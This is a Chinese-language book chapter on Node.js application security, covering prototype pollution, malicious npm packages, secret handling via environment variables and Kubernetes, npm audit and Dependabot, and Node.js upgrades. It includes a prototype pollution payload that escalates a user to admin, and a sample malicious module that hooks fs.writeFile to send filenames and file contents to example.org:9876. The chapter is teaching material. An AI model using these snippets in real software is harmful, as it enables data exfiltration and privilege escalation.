现代应用程序内部存在更深的攻击面,特别是使用 Node.js 构建的应用程序。恰巧你的城堡可能隐藏着一个潜在的叛徒。但首先,让我们集中在前门上。
参数检查和反序列化
应用程序必须始终验证来自外部来源的输入是否合法。有时这些输入的来源是显而易见的,比如 HTTP POST 请求的正文。其他时候则不那么明显,比如个别的 HTTP 标头。
出现在大多数平台上的参数解析和对象反序列化的攻击也存在。但有几种攻击似乎在 Node.js 应用程序中更为普遍,在我看来,这是因为 JavaScript 是一种弱类型语言,而且调用JSON.parse()是如此容易。在其他平台上,一个应用程序可能有一个User类,并且提供了一个表示用户的 JSON 字符串。该用户类可能有几个属性,比如name:string和age:integer。在这种情况下,可以通过将 JSON 文档流经反序列化器、选择预期的属性、忽略任何不相关的内容,并且永远不使用超过表示name和age所需的内存来反序列化用户的 JSON 表示。
话虽如此,使用 JavaScript,在应用程序中更有可能看到的方法如下:
const temp = JSON.parse(req.body);
const user = new User({name: temp.name, age: temp.age});
这种方法有一些缺点。首先,如果攻击者发送一个庞大的 JSON 对象,也许是几兆字节?在这种情况下,当应用程序调用JSON.parse()方法时会变慢,并且还会使用几兆字节的内存。如果攻击者并行发送数百个请求,每个请求都有庞大的 JSON 对象会发生什么?在这种情况下,攻击者可能导致服务器实例无响应并崩溃,从而导致拒绝服务攻击。
修复这个问题的一种方法是在接收请求体时强制执行最大请求大小限制。每个流行的 Web 框架在某种程度上都支持这一点。例如,Fastify 框架支持一个bodyLimit配置标志,默认为 1MB。Express 使用的body-parser中间件支持一个limit标志,功能相同,默认为 100KB。
处理反序列化对象时会遇到其他问题。其中一个问题是 JavaScript 特有的,称为原型污染,这是一种攻击,其中 JSON 负载包含一个名为__proto__的属性,可以用来覆盖对象的原型。调用obj.__proto__ = foo等同于Object.setPrototypeOf(obj, foo),是一个危险的速记法,尽管不应存在但仍然存在以支持遗留代码。这种攻击在 2018 年引起了轰动,并在几个流行的库中得到了修复,但在今天的应用代码和库中仍然会出现。
示例 10-1 是原型污染攻击的精简版本。
示例 10-1. prototype-pollution.js
// WARNING: ANTIPATTERN!
function shallowClone(obj) {
const clone = {};
for (let key of Object.keys(obj)) {
clone[key] = obj[key];
}
return clone;
}
const request = '{"user":"tlhunter","__proto__":{"isAdmin":true}}';
const obj = JSON.parse(request);
if ('isAdmin' in obj) throw new Error('cannot specify isAdmin');
const user = shallowClone(obj);
console.log(user.isAdmin); // true
在这个例子中,攻击者提供了一个带有__proto__属性的请求对象,它本身是另一个对象。在这个对象中,isAdmin属性被设置为 true。应用代码依赖于这个字段来确定是否有特权用户发出了请求。应用程序接收请求并将请求 JSON 解析为名为obj的对象。此时对象上有一个名为__proto__的属性,尽管它还没有设置无效的原型;幸运的是JSON.parse()无法直接覆盖对象的原型。接下来,应用程序检查obj.isAdmin字段是否已设置,这是确保用户未覆盖属性的一种方法。这个检查没有触发,代码继续执行。
然后,应用程序对请求对象执行浅克隆并返回结果。shallowClone()方法通过迭代对象的每个属性并将其赋值给新对象来进行克隆。这就是漏洞所在。clone['__proto__']赋值导致原型被覆盖。在这种情况下,生成的user对象的原型被设置为攻击者提供的{"isAdmin":true}对象。稍后应用程序检查该属性时,结果是用户权限被提升为管理员权限。
这一开始可能看起来有些牵强。但这实际上影响了许多不同的应用程序,并导致了至少几十个 npm 包的安全补丁。在现代 Node.js 应用程序构建方式中,一个第三方中间件正在解析请求对象,另一个中间件正在克隆对象,所有这些都在应用程序控制器逻辑最终访问解析后的 JSON 表示之前在幕后发生。由于数据在应用程序的难以察看的角落之间频繁移动,开发人员很难跟踪复杂的 Node.js 应用程序实际在做什么。
恶意 npm 包
另一个攻击面完全绕过了前门。这个攻击来自应用程序内部,通过“供应链”,通过恶意构造的 npm 包。这些攻击也可能影响其他平台,但迄今为止,似乎这是影响 npm 包仓库最多的问题之一,原因有几个。过去的包仓库并不像 npm 那样容易发布。还没有强制规定,发布到版本控制的代码必须与在安装包时部署的代码匹配,这意味着 GitHub 仓库中易于审核的代码可能不代表 tarball 安装时部署的代码。尽管发布的便利性和 JavaScript 的动态特性促成了 Node.js 和 npm 的流行,但它们无疑给安全留下了伤痕。
声称包可以被用作攻击向量可能听起来过于谨慎,但事实上已经多次发生过。有时恶意包是通过错别字占用安装的,即将包命名为流行包的错别字。有时它是一个完全新的包,承诺其他包不提供的功能。有时它比这更可怕,例如,流行包的维护者接受引入微妙安全漏洞的 PR,或者维护者将包的所有权交给了一个攻击者,而假定他们是好心的。
无论如何,恶意包将进入应用程序。Node.js 开发人员减少获取这些恶意包风险的最重要方法之一是尽量减少依赖项数量,支持由知名作者维护的包,并倾向于具有较少子依赖关系的依赖项。
一些组织尝试的方法是手动审核软件包并维护软件包版本的允许列表。不幸的是,这是一个非常困难的任务,并且通常需要整个团队进行审计,这是只有大型科技公司才能享有的特权。通过手动审查可以在组织内部使用哪些软件包,开发人员经常陷入困境,他们的工单被阻塞,因为等待软件包批准请求。此外,手动审核软件包并不能保证其免受所有漏洞的影响。即使如此,批准的软件包可能不会固定其子依赖版本,除非应用程序开发人员明确在package-lock.json文件中固定它们,否则不能保证新的恶意软件包不会潜入。
与恶意包的常见误解是,只有当它们直接触及通过应用程序流动的用户数据时才具有危险性,而深度嵌套的实用程序模块并没有太多风险。实际上,任何在 Node.js 应用程序中加载的模块都有能力以任何它认为合适的方式修改任何核心 Node.js API。
示例 10-2 描述了一个 Node.js 模块,一旦被需要,就会拦截任何文件系统写入并将其传输到第三方服务。
示例 10-2. malicious-module.js
const fs = require('fs');
const net = require('net');
const CONN = { host: 'example.org', port: 9876 };
const client = net.createConnection(CONN, () => {});
const _writeFile = fs.writeFile.bind(fs);
fs.writeFile = function() {
client.write(`${String(arguments[0])}:::${String(arguments[1])}`);
return _writeFile(...arguments);
};
此模块将现有的fs.writeFile方法替换为一个新的方法,该方法代理请求到原始方法。但它还会从该方法获取文件名和数据参数,并将它们传输到监听example.org:9876的第三方服务。在这种情况下,无论模块嵌套多深,它都会拦截对核心 Node.js API 的调用。
此方法也可以用来包装其他模块。例如,可以轻松修改以包装像pg这样的数据库包,并在包含名为password的字段时传输表示写入到 Postgres 数据库表的有效负载。
应用程序配置
应用程序通过设置各种键/值对来进行配置,这些键/值对由代码使用。这些值可以是如写入临时文件目录的路径、从队列中抓取的项数,或者 Redis 实例的主机名。乍看之下,这些配置值可能看起来与安全性关系不大,但配置通常包含更敏感的信息。例如,可能包括 Postgres 连接的用户名和密码,或者 GitHub 账户的 API 密钥。
处理敏感配置值时,重要的是不仅要将其远离攻击者的手中,还要远离组织中任何不需要访问的人。一个经验法则是将每个仓库都视为明天可能开源的仓库,并考虑任何已经检入的凭据为已被泄露。员工的笔记本可能会被盗,毕竟。但是,在保持凭据远离代码库的同时,如何构建应用程序呢?
环境变量
将配置保持在应用程序代码库之外的最佳方法是通过环境变量提供这些值。这样一来,即使代码库受到损害,也不会导致敏感数据被窃取。通过以下两个命令快速刷新一下环境变量的工作原理:
$ echo "console.log('conn:', process.env.REDIS)" > app-env-var.js
$ REDIS="redis://admin:hunter2@192.168.2.1" node app-env-var.js
本示例创建了一个简单的 app-env-var.js 文件,该文件打印一个配置值,然后在提供环境变量的同时执行该文件。通过这种方法,环境变量永远不会写入磁盘。^(2)
使用环境变量配置应用程序的一个非常有用的副作用是,可以重新部署应用程序而无需重新构建!许多服务部署工具(包括 Kubernetes)允许您更改环境变量并使用相同的 Docker 镜像构建再次部署应用程序。这节省了时间,因为您不需要通过更改代码中的配置值、创建拉取请求、运行测试等流程。
环境变量在应用程序首次运行之前设置一次,然后在进程的整个生命周期中被视为静态。需要动态更改的任何值都需要使用不同的工具来访问配置值,例如 Etcd 等工具通常用于跟踪不经常更改但在运行时可能更改的信息,例如数据库服务器的主机名。
这种方法的唯一真正缺点是,开发人员在本地运行应用程序之前必须设置多个环境变量。根据应用程序的构建方式,可能会在首次执行时方便地崩溃,或者稍后在尝试连接到名为 undefined 的服务器的数据库时崩溃。
在设计读取环境变量的应用程序时,考虑如果缺少任何必需的值,立即崩溃并打印一条可以帮助开发者的消息。这里有一个有用的终止消息示例:
if (!process.env.REDIS) {
console.error('Usage: REDIS=<redis_conn> node script.js');
process.exit(1);
}
为了让开发人员更容易,一种方法是创建一个“env 文件”,这是一个包含导出键/值对的文件。通过在 shell 中源化此文件,不同的环境变量对将加载到终端会话中。使用这种方法,env 文件不应该被提交到代码库中。如果这是多位工程师可能使用的文件,则可以将其添加到代码库的 .gitignore 文件中;如果只有一个工程师使用,则可以将其添加到特定工程师的全局 git 忽略文件中。
创建一个名为 dev.env 的新文件,并将来自示例 10-3 的内容添加到其中。这是一个包含单个条目的 env 文件的示例。
示例 10-3. dev.env
export REDIS=redis://admin:hunter2@192.168.2.1
此文件名为dev.env,表示它包含开发环境的环境变量配置。默认情况下,文件中的值在终端中不可用,但一旦文件被源化,它们将一直保留,直到手动删除或终端会话退出。运行以下命令来证明这一点:
$ node -e "console.log(process.env.REDIS)"
> undefined
$ source dev.env
$ node -e "console.log(process.env.REDIS)"
> redis://admin:hunter2@192.168.2.1
在文件被源化后多次运行node命令应该会导致相同的消息出现。
注意
源化后续的环境文件将覆盖先前的值,但仅在新文件中设置了它们的情况下。务必在每个环境文件中定义相同的环境变量;否则,你将得到多个环境的值。
通过这种方法,当开发者的笔记本受到威胁时,你又回到了原点,会导致凭证泄露的问题。话虽如此,如果仓库内容被泄露(或者临时承包商获取了访问权限),环境变量仍然是安全的。
配置文件
在我遇到的大多数应用程序中,配置文件被用作存储任何和所有配置值的抓包。传统上表示为全大写常量的任何内容可能会被移到这些文件中。通常的模式是为每个环境都有一个单独的配置文件,例如config/staging.js和config/production.js。通过这种方法,应用程序通常会按每个环境硬编码信息,例如主机名和端口。
这种方法违反了先前概述的安全问题,但这并不意味着该模式不能以其他方式利用。存储不包括凭据和主机名的信息仍然是可以接受的,特别是当应用程序需要在不同环境中表现出不同行为时。安全使用配置文件的最佳方式是从环境变量中读取敏感信息。
像config和nconf这样的包提供了一种机制,根据当前环境从不同的文件中加载和合并配置。就我个人而言,我认为使用这些包通常是杀鸡用牛刀,可以用你即将实现的几行代码来代替。
用于执行应用程序配置的模块应该执行几项任务。首先,它应该通过检查标准的NODE_ENV环境变量来确定当前环境。接下来,它应该加载特定于当前环境的配置文件。最后,作为便利,它还应该加载一个备用配置文件,其中包含如果在特定环境文件中缺少的默认值。备用文件对于每个环境中始终以相同方式配置的项目非常有用,例如加载相同的REDIS环境变量。
运行以下命令来创建一个名为configuration的新目录,在其中初始化一个新的 npm 项目,然后为几个环境创建一些配置文件:
$ mkdir configuration && cd configuration
$ npm init -y
$ mkdir config
$ touch config/{index,default,development,staging,production}.js
应用程序代码需要通过引入 config/index.js 文件来访问配置值。它导出一个表示配置键/值对的单个对象。config/default.js 文件包含备用配置值。其余三个文件是特定于环境的。
接下来,修改 config/default.js 文件,并将来自 示例 10-4 的内容添加到其中。
示例 10-4. configuration/config/default.js
module.exports = {
REDIS: process.env.REDIS,
WIDGETS_PER_BATCH: 2,
MAX_WIDGET_PAYLOAD: Number(process.env.PAYLOAD) || 1024 * 1024
};
在这个默认配置文件中,REDIS 连接字符串默认加载由 REDIS 环境变量提供的值。与业务逻辑相关的 WIDGETS_PER_BATCH 配置默认为保守值 2. 最后,MAX_WIDGET_PAYLOAD 值是一个数字,表示 PAYLOAD 环境变量或表示 1MB 的值。
这些值通过导出一个顶级对象提供给任何调用者。这意味着配置文件也可以使用 JSON 或 YAML 进行公开,尽管前者很难添加注释,而且两者都需要某种显式语法来读取和强制转换环境变量。
接下来,修改 config/development.js 文件,添加来自 示例 10-5 的内容。
示例 10-5. configuration/config/development.js
module.exports = {
ENV: 'development',
REDIS: process.env.REDIS || 'redis://localhost:6379',
MAX_WIDGET_PAYLOAD: Infinity
};
开发配置文件定义了三个条目。第一个是 ENV,它是一种便利,允许应用程序通过读取 CONFIG.ENV 而不是 process.env.NODE_ENV 来获取当前环境。接下来是 REDIS 值,它覆盖了默认配置文件中的相同值。在这种情况下,该值默认连接到本地机器上的 Redis 实例。然而,如果用户选择提供 REDIS 环境值,它仍将被尊重。最后一个配置值 MAX_WIDGET_PAYLOAD 也覆盖了默认值,将其设置为 Infinity。
提示
虽然可以在应用程序的整个代码库中访问 process.env,但这样做会使工程师难以找到和理解应用程序使用的每个环境变量。将所有环境变量读取集中到一个 config/ 目录可以使它们自说明。
对于这个示例,config/production.js 和 config/staging.js 的内容并不是特别重要。它们各自应该导出相应命名的 ENV 配置值,并可能覆盖另一个设置,比如 WIDGETS_PER_BATCH。 值得考虑的一件事是,对于生产应用程序,分期和生产环境应该非常相似。 通过保持它们的相似性,您可以在生产之前在分期环境中发现问题。 例如,一个人可能选择在分期中使用单个队列,在生产中使用两个队列以减少成本。 然而,使用这样的配置,如果代码中总是从队列#1 中删除消息,则在分期中不会遇到问题,并且在生产中将失败。
接下来,修改 config/index.js 文件以看起来像 示例 10-6。
示例 10-6. configuration/config/index.js
const { join } = require('path');
const ENV = process.env.NODE_ENV;
try {
var env_config = require(join(__dirname, `${ENV}.js`));
} catch (e) {
console.error(`Invalid environment: "${ENV}"!`);
console.error(`Usage: NODE_ENV=<ENV> node app.js`);
process.exit(1);
}
const def_config = require(join(__dirname, 'default.js'));
module.exports = Object.assign({}, def_config, env_config); 
浅合并配置文件
该文件将来自 config/default.js 配置文件的顶级属性与当前环境的适当配置文件中的值进行合并,然后导出合并后的值。 如果找不到配置文件,则模块会打印错误并且应用程序退出并显示非零状态代码。 由于应用程序可能无法在没有任何配置的情况下运行,并且假设配置是在启动过程的早期读取的,因此显示错误并终止进程是合适的。 最好立即失败,而不是在应用程序处理其第一个 HTTP 请求时失败。
然后,可以通过从 Node.js 模块要求配置文件来访问配置设置。 例如,连接到 Redis 实例的代码可能如下所示:
const Redis = require('ioredis');
const CONFIG = require('./config/index.js');
const redis = new Redis(CONFIG.REDIS);
通过这种方法,敏感配置设置被保持在磁盘之外和版本控制之外,开发人员可以自由地使用合理的默认值在本地运行其应用程序,环境变量访问是在一个中心位置完成的,并且可以维护每个环境配置。 通过使用像 config/index.js 这样的简单配置加载器,应用程序不依赖于另一个 npm 包。
机密管理
机密管理 是一种存储和检索敏感值的技术。 这通常包括像用户名,密码和 API 密钥这样的凭据。 实现机密管理的工具通常默认隐藏这些值,通常需要一种解密和查看它们的机制。 这种行为与环境变量处理方式有些不同,其中界面通常保持它们可见。
机密管理软件提供了一种应用程序在运行时检索机密的机制。 这些机密可以通过几种方式提供,例如通过应用程序从服务请求它们。 最方便的方法通常是将它们作为环境变量注入,这种方法不需要应用程序更改。
Kubernetes 支持秘密管理,并可以通过将包含秘密值的文件挂载到容器或通过环境变量提供秘密。使用 Kubernetes 定义秘密类似于定义其他资源。一种方法是通过创建一个 YAML 文件来定义秘密。以下是将 Redis 连接字符串转换为秘密的示例:
apiVersion: v1
kind: Secret
metadata:
name: redisprod
type: Opaque
stringData:
redisconn: "redis://admin:hunter2@192.168.2.1"
可以使用 YAML 文件定义多个秘密。在这种情况下,只定义了一个秘密,即 redisprod:redisconn。对于其他秘密,将它们分开可能是有意义的,例如处理单独的用户名和密码值时。应用此文件将秘密添加到 Kubernetes 集群中。然后可以销毁该文件,以及其中的任何明文秘密。
稍后,在另一个 YAML 文件中定义 Pod 时,可以在spec.template.spec.containers部分定义环境变量时引用该秘密。以下是其中一个这些环境变量可能的示例:
env:
- name: REDIS
valueFrom:
secretKeyRef:
name: redisprod
key: redisconn
在这种情况下,REDIS环境变量从 redisprod:redisconn 秘密中提取其值。当 Kubernetes 启动容器时,首先检索秘密,然后解密该值,最后提供给应用程序。
更新依赖项
任何具有足够多依赖项的 Node.js 项目最终都会包含已知的漏洞。如果项目不经常更新其依赖项,这一点尤其明显。项目在静止状态下可以“改变”的想法似乎有些违反直觉,但关键词是“已知”漏洞。这些漏洞在依赖项首次添加到项目时就存在——只是你和包的维护者后来才了解到这些漏洞。
帮助避免软件包漏洞的一种方法是保持其不断更新。理论上,软件包作者不断学习更好的实践,并且漏洞一直在被报告,因此保持软件包的更新应该会有所帮助。话虽如此,一旦应用程序正常运行,通过更新软件包可能会引入微妙的破坏性变化的风险。理想情况下,软件包作者遵循语义化版本(在“模块、软件包和语义化版本”中有介绍),但这并非总是发生。当然,新版本中可能会引入其他漏洞。有句老话说:“如果它没坏,就不要修复它。”
任何对应用程序依赖项的更改都将需要进行新一轮测试,因此持续保持依赖版本在前沿将需要大量工作。一个复杂的应用可能每隔几个小时就会发布新版本的依赖项!完全不更新依赖项将导致应用程序充满漏洞,且更新起来是一场噩梦。必须达成某种折中。
一个方法是仅在更新包含新功能、性能提升或特定受益于应用程序的漏洞修复的情况下更新包。其他重要的包,如主要的 Web 服务器或应用程序使用的框架,也值得进行常规更新,以便未来的重构更容易进行。
当你决定更新包时,考虑逐步进行更改。如果一个项目有 20 个需要升级的依赖项,那么可以将它们分解成几个拉取请求。对于更大范围的更改,比如更改 Web 服务器,如果可能的话,只在一个 PR 中更改一个依赖项(同时进行所需的应用程序更改)。对于紧密耦合的依赖项,比如数据库库和 SQL 查询构建器,可能将它们组合在一个 PR 中是有意义的。对于没有那么大应用程序影响的其他更改,比如开发依赖项,在一个拉取请求中升级几个依赖项可能也是可以接受的(假设没有涉及太多代码更改)。
警告
如果一个拉取请求包含太多的更改,审阅者将无法找到 bug。如果没有关联的升级被合并,几乎不可能将代码更改与依赖项更改关联起来。
npm 管理着一个已知漏洞的数据库^(3),并且有一个用于报告易受攻击包的网页。Snyk 还维护了他们的 npm 包漏洞数据库 服务。在本节中,你将使用自动比较应用程序依赖项与 npm 漏洞数据库的工具。
使用 GitHub Dependabot 进行自动升级
GitHub 拥有多个自动化安全服务,可以在给定仓库上启用。它们支持多个平台,包括消耗 npm 包的 Node.js 项目。要启用这些服务,请访问你是管理员的仓库的“设置”选项卡,点击“安全性与分析”选项卡,然后启用提供的不同安全功能。截至本文写作时,GitHub 有三项服务:依赖图、Dependabot 警报 和 Dependabot 安全更新。每个服务都依赖于前一个服务。启用这些服务后,仓库将受益于自动拉取请求,用于升级依赖项。
Dependabot 是 GitHub 的一个服务,它会创建拉取请求来更新你的依赖项中已知的漏洞。图 10-1 是一个截图,显示了当已知漏洞被发现时,在仓库顶部会出现的横幅。

图 10-1. 令人头痛的 GitHub 依赖性漏洞
目前,Dependabot 不支持更改应用程序代码。这意味着 Dependabot 不可能为每个漏洞创建一个拉取请求。例如,如果包 foobar@1.2.3 存在漏洞,并且唯一的修复方法在 foobar@2.0.0 中,那么 Dependabot 不会创建拉取请求,因为 SemVer 变更表明存在破坏性 API 更改。尽管如此,GitHub UI 仍会显示横幅,并提供有关易受影响包的上下文信息。
存储库上启用的任何持续集成测试仍将针对 Dependabot 拉取请求运行。这应该有助于确保特定升级是安全的。尽管如此,在涉及到对您的应用程序极为重要的包的拉取请求时,您最好在本地进行更改。
在您的存储库启用 Dependabot 安全更新后,您偶尔会收到拉取请求。图 10-2 是这些拉取请求的屏幕截图。

图 10-2. 自动 Dependabot 拉取请求
Dependabot 拉取请求提供了一系列命令列表,您可以通过回复来触发这些命令。Dependabot 不会在提交合并时连续地将拉取请求重新基于主分支进行重置。相反,您可以通过回复 @dependabot rebase 命令来触发重新基于的操作。该拉取请求还包含了有关正在修复的漏洞的上下文信息,例如来自变更日志的内容,甚至是当前安装版本和升级版本之间的 git 提交。
Dependabot 拉取请求非常方便,可以合并包的升级,并提供有关漏洞的大量有用信息。不幸的是,它仅适用于需要包升级的某些情况。对于其他情况,您需要更多的手动方法。
使用 npm CLI 进行手动升级
在某些情况下,Dependabot 简化了包升级的过程,但更多时候,您需要采取手动方法。npm CLI 提供了一些子命令来帮助简化这个过程。
运行以下命令以创建一个名为 audit 的新目录,创建一个新的 npm 项目,并安装一些已知漏洞的包:
$ mkdir audit && cd audit
$ npm init -y
$ npm install js-yaml@3.9.1 hoek@4.2.0
当npm install命令完成后,应显示一些消息。当我运行该命令时,虽然你可能在运行这些命令时看到更多的消息,但我得到以下消息:
added 5 packages from 8 contributors and audited 5 packages in 0.206s
found 3 vulnerabilities (2 moderate, 1 high)
run `npm audit fix` to fix them, or `npm audit` for details
第一个你应该知道的命令会打印一个过时包的列表。这有助于找到需要升级的包,尽管不一定能找出哪些包有漏洞。运行以下命令以获取过时包的列表:
$ npm outdated
表 10-2 包含了我从这个命令中得到的结果。
表 10-2. 示例 npm outdated 输出
| Package | Current | Wanted | Latest | Location |
|---|---|---|---|---|
| hoek | 4.2.0 | 4.2.1 | 6.1.3 | audit |
| js-yaml | 3.9.1 | 3.14.0 | 3.14.0 | audit |
请注意,你看到的版本和软件包可能不同,因为新的软件包会不断发布。当前 列显示当前安装的软件包版本。wanted 列显示 package.json SemVer 范围所满足的最高版本,随着时间的推移,随着新的软件包发布,这将会有所不同。latest 列显示了 npm 上可用的最新软件包版本。最后的 location 列告诉你软件包的位置。
另一方面,npm audit 子命令^(4) 提供了当前项目中安装的已知安全漏洞的软件包列表。
默认情况下,npm CLI 会提醒你有关安装的软件包存在漏洞的警告。这不仅发生在直接安装有漏洞的软件包时,就像你刚刚做的那样,还发生在安装任何软件包时。运行以下两个命令以丢弃当前的 node_modules 目录,并从头开始重新安装所有内容:
$ rm -rf node_modules
$ npm install
你应该会再次看到相同的漏洞警告。但是这些漏洞消息仅作为总体警告,并不列出单个有问题的软件包。要获取更详细的信息,你需要运行另一个命令:
$ npm audit
此命令显示了有关漏洞的更多详细信息。它会遍历所有有漏洞的软件包列表,并显示它们的已知漏洞。运行该命令时,表格 10-3 包含了我看到的信息。
表格 10-3. npm audit 示例输出
| 级别 | 类型 | 软件包 | 依赖关系 | 路径 | 更多信息 |
|---|---|---|---|---|---|
| 中等 | 拒绝服务 | js-yaml | js-yaml | js-yaml | https://npmjs.com/advisories/788 |
| 高 | 代码注入 | js-yaml | js-yaml | js-yaml | https://npmjs.com/advisories/813 |
| 中等 | 原型污染 | hoek | hoek | hoek | https://npmjs.com/advisories/566 |
在我的情况下,已知存在三个漏洞:两个在 js-yaml 软件包中,一个在 hoek 软件包中。npm 具有四个漏洞严重性级别:低、中等、高和严重。这些级别估计了漏洞可能影响应用程序的程度。类型 列为漏洞提供了一个简短的分类;第一个是 拒绝服务 攻击,可能会导致应用程序崩溃,并被评为中等严重性。代码注入 攻击则更为危险,可能导致像密码被盗这样的情况,并因此被标记为高级别。第三个 原型污染 也被视为中等。
软件包 列指出漏洞所在的软件包,依赖项 列指出父软件包,路径 列提供了有问题的软件包的完整逻辑路径。 修补版本 列(如果存在)给出了已知可以修复该软件包的版本范围。在这些结果中,npm 审核已确定可以自动修复前两个与 js-yaml 相关的漏洞,而第三个 hoek 软件包必须手动修复。
npm 输出还显示了一个命令,您可以运行此命令来更新软件包(如果适用)。运行以下命令,这是 npm 审核建议用于修复前两个漏洞的命令:
$ npm update js-yaml --depth 1
这样做将软件包升级到已知良好的版本,该版本应仍与 package.json 文件中指定的 SemVer 范围兼容。在我的情况下,js-yaml@³.9.1 的依赖性在 package.json 和 package-lock.json 中都更改为使用 js-yaml@³.14.0。
在这一点上,如果您再次运行 npm audit 命令,您只会看到列出的 hoek 软件包。不幸的是,npm audit 不会提供修复此软件包的建议。但基于 修补版本 列中列出的版本范围,已知软件包在版本 4.2.1 中已修复。运行以下命令手动修复这个有漏洞的软件包:
$ npm update hoek
在我的情况下,软件包从 hoek@⁴.2.0 升级到 hoek@⁴.2.1。
npm audit 命令可以稍作调整,仅列出超过某个严重级别的漏洞。还请注意,如果遇到有漏洞的软件包,npm audit 命令会返回非零状态代码。这可以作为每晚定时任务的一部分来监视应用程序的健康状况。但不应将其用作持续集成测试的一部分,因为已成为有漏洞并安装在主分支上的软件包不应导致不引入有问题软件包的拉取请求失败。
这是一个命令的版本,用于在非开发依赖项具有被视为高级或更高级别漏洞时失败检查:
$ npm audit --audit-level=high --only=prod ; echo $?
不幸的是,有时您会遇到存在漏洞但尚未发布修补版本的软件包。
未修补的漏洞
在职业生涯的某个阶段,您可能会发现由第三方维护的软件包中存在漏洞。虽然立即在社交媒体上公布您的发现可能很诱人,但这样做只会使依赖于该软件包的应用程序(包括您自己的应用程序)面临风险!相反,最好向软件包的作者发送一条私信,披露漏洞和利用它所需的步骤。这是一种负责任的披露形式,在通知黑客之前给予修复漏洞的时间。
为了简化这个过程,npm 有一个页面,您可以报告安全漏洞。此页面要求提供您的联系信息、包的名称以及受漏洞影响的版本范围。它还包含一个描述字段,您应该使用它来提供使用该包进行攻击的概念验证。如果您没有提供,那么 npm 的某人将会给您发送电子邮件以请求概念验证。一旦 npm 验证了漏洞,它将联系作者,并标记有问题的包为脆弱的。
如果您知道如何修复问题,创建一个拉取请求肯定可以加快进程,但这样做可能会太过公开。您还可以生成一个“补丁”,通过运行git diff --patch将其发送给作者(或在安全报告描述中提供)以修复问题,假设您在本地存储库克隆中进行了更改。如果您提供了如何破坏它和如何修复它的示例,该包更有可能被修补。
无论是您首次发现漏洞还是其他人公开了它,您仍然陷入同样的困境:需要保护应用程序免受漏洞威胁。如果包的修复版本已发布,并且它是直接依赖项,则最好的做法是更新依赖项并部署。如果易受攻击的包是子依赖项,则如果其父依赖项使用版本范围,则您可能会有好运。
您可能会陷入无法简单替换易受攻击包的情况。也许该包从根本上是不安全的,无法修复。也许该包已经不再维护,没有人可以修复它。
当这种情况发生时,您有几种选择。如果您可以直接控制信息如何传递到一个包中,并且知道它是如何失败的,比如调用foo.run(user_input)时使用数字而不是字符串,那么您可以在应用程序中包装该函数调用,并将值强制转换为可接受的类型,使用正则表达式去除不良输入等。进行代码更改,添加一个“TODO”注释,以便在包最终升级时删除包装,并部署。
如果该包是直接依赖项并且已被弃用且有漏洞,则您可能希望寻找另一个执行相同功能的包。您还可以分叉该包,应用修复并在 npm 上以新名称发布。然后,修改package.json以使用您的分叉包。
几年前,一个解析查询字符串的包中发现了一个漏洞。攻击者可以提供包含大索引的数组查询参数的 HTTP 请求,如 a[0][999999999]=1。然后该包创建了一个极大的数组(而不是使用对象等其他表示方式),导致进程崩溃。我们团队拥有的一个应用程序受到了影响。修复方法相对比较直接,但不幸的是,依赖层级较深。我的一位同事通宵与每个依赖项的维护者合作,促使他们发布不再依赖受影响包的新版本。
处理涉及协议的漏洞更加困难。如果一个包处理应用程序中更深层次的函数调用,你可以拦截调用并清理数据。但如果漏洞位于应用程序最浅层,例如由框架加载用于解析 HTTP 的包时,可能需要依赖反向代理来清理请求。例如,尽管你的应用程序可能使用的框架容易受到慢 POST 攻击的影响(将请求主体分割成小块,并在长时间内发送每个块),但可以配置 HAProxy 来终止连接以防止此类攻击,从而释放服务器资源。
升级 Node.js
Node.js 发布版本偶尔会发现漏洞。例如,Node.js v12 和 v14 发布系列在某些时候都存在 CVE-2020-8172 和 CVE-2020-11080 这两个漏洞,这两个漏洞影响了内置的 http 模块。这些问题在 v12.18.0 和 v14.4.0 版本中得到了修复。安全修复通常在当前发布系列的次要 SemVer 版本中实施,并后移至活跃的 LTS 发布系列以及可能的维护 LTS 发布系列。
保持 Node.js 安全发布的最新状态非常重要。除了安全更新外,Node.js 发布还带来了新功能和性能更新。通常建议升级,但也需注意一些注意事项,这也是大多数组织不会立即升级到最新版本的原因。尤其是性能可能会出现退化,或者兼容性问题;Node.js 虽然遵循 SemVer,但有时依赖项使用的是私有内部 API,可能会发生变化。
通常情况下,当应用程序切换到较新的 Node.js 版本时,需要重新进行测试。当然,正常测试应该通过,但通常需要工程师执行手动验收测试以确保。node_modules 目录越大,应用程序与 Node.js 运行时新版本的兼容性问题就越可能出现。
Node.js LTS 日程安排
Node.js 使用的版本控制方法受到 Linux 内核旧实践的启发。奇数版本(v13、v11)代表一种类似测试版的阶段,包的作者可以检查兼容性。奇数版本中的代码最终会进入下一个偶数版本。不应将奇数版本的 Node.js 用于生产环境。例如,写作本书时,v13 版本对我来说很有用,因为等待 v14 发布。
Node.js 的偶数发布版本被称为 LTS(长期支持)版本。Node.js 的 LTS 版本经历几个不同的阶段。在第一个阶段,发布被标记为“Current”。六个月后,发布变为“Active”,大约持续一年。一年后,发布进入“Maintenance”阶段。在此期间,将某些新特性,尤其是安全补丁,回溯到下一个“Current”发布的 LTS 版本中。
这个概念也受到 Linux 内核的启发。 LTS 发布非常重要,因为组织需要能够长时间运行他们的应用程序。如果主要版本保持不变,升级应用程序运行的 Node.js 版本就会更容易。Figure 10-3 是截至 2020 年 7 月的 Node.js LTS 发布时间表的示例,生成于 Node.js v14 达到“Active”阶段之前。

图 10-3. Node.js LTS 发布时间表^(5)
一旦一个主要版本结束维护阶段,它就达到了 生命周期结束。这时将不会有该主要版本的新发布,包括任何错误修复或安全补丁。
升级方法
构建 Node.js 微服务的组织通常会涉及跨多个 Node.js 版本的应用程序集合。在许多情况下,这些组织可能没有保持应用程序在现代 Node.js 运行时版本上的策略,或者保持运行时更新可能成为一种未优先考虑的技术债务。这些情况很危险,可能导致应用程序受损。^(6)
我喜欢采取的方法首先是将服务分为三代类别。第一代包括运行在当前 LTS 线上的应用程序,如运行在 Node.js v14 上的应用程序。第二代服务是运行在前一个维护 LTS 版本上的应用程序,如 Node.js v12。第三代包括其他所有内容,如 Node.js v10(非常旧)或 v13(非 LTS 发布线)。这些可以被视为当前、维护和“不良”代。
所有 naughty generation 中的应用程序必须升级。这是最重要的工作优先级。这些应用程序应该升级到当前 LTS 发布版本,最好是最新的主要和次要版本。将它们迁移到维护 LTS 并不太合理,因为该版本的支持时间不会太长。
